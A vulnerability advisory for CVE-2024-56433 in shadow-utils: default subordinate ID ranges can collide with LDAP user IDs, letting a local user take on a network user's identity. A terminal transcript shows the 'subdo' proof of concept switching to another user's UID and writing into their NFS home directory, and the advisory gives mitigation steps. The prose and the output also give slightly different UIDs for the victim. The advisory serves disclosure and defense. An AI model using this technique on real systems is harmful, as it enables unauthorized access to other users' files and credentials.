shadow-utils - Insecure default subordinate ID assignment for local users
The default subordinate ID assignment creates risk for collision with existing user ID's, creating potential for arbitrarily changing UID/GID and gaining unauthorized access to data and network resources.
Base Package: shadow-utils 4.4 - 4.17.0
Confirmed on: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. All recent versions of distributions that are using shadow-utils 4.4 and greater.
- https://www.cve.org/CVERecord?id=CVE-2024-56433
- https://github.com/JonnyWhatshisface/CVE-2024-56433
- shadow-maint/shadow#1157
- https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
- https://github.com/shadow-maint/shadow/releases/tag/4.4
Shadow-utils began shipping with a default configuration to delegate subordinate ID's to local users.
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN 100000
SUB_UID_MAX 600100000
SUB_UID_COUNT 65536
SUB_GID_MIN 100000
SUB_GID_MAX 600100000
SUB_GID_COUNT 65536
#GRANT_AUX_GROUP_SUBIDS yes
$
When new local users are added to the system via any of the shadow-utils tools (adduser, useradd and during system install), each user is given a unique block of 65,536 UID's and GID's, starting at UID/GID 100000. For example, the following system has two local users added on it:
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$
Subordinate ID configuration delegates the right of usage of the specified range(s) to the user in a user namespace and is most often used for rootless containerization. However, containerization utilities are not required to enter a namespace and can be done via multiple means, including using the default shadow-utils tooling 'newuidmap' and 'newgidmap.' This allows for the user to arbitrarily change to the POSIX user ID of any ID within the range delegated to them.
In the following example, the user ID Jon - UID/GID 1000 - has been delegated a UID/GID range of 65,536 ID's starting at 100000. The network has other ID's configured via LDAP for centralized user management and login, with network users home directories on NFS.
UID/GID 108372 belongs to network user msteph.
Leveraging the default subordinate UID/GID allocation created during an install, the local user can switch to the network users ID and then gain access to the NFS home directory, reading and writing files as the user.
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$
While NFS was used as an example, this extends beyond just NFS access. Infrastructures where Kerberos credentials may be stored on the local system become at risk, as the credentials could be grabbed from the local system and access to other kerberized services becomes possible.
The SUB_ entries in /etc/login.defs should be removed. Any entries in /etc/subuid and /etc/subgid that are not expected should also be removed.
POC to change UID/GID to desired allocated subordinate ID is attached as subdo.c and subdo.py
The POC maps the inner and outer ID to the same ID then setuid()'s and setgid()'s to that ID within the namespace, meaning all commands executed within the shell in the namespace are now executing as that uid/gid on the host.
Allows execution of any command and arguments as desired subordinate UID/GID.
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example:
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Executes /bin/bash as desired subordinate UID/GID.
Usage: ./subdo.py -u $uid -g $gid
Example:
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$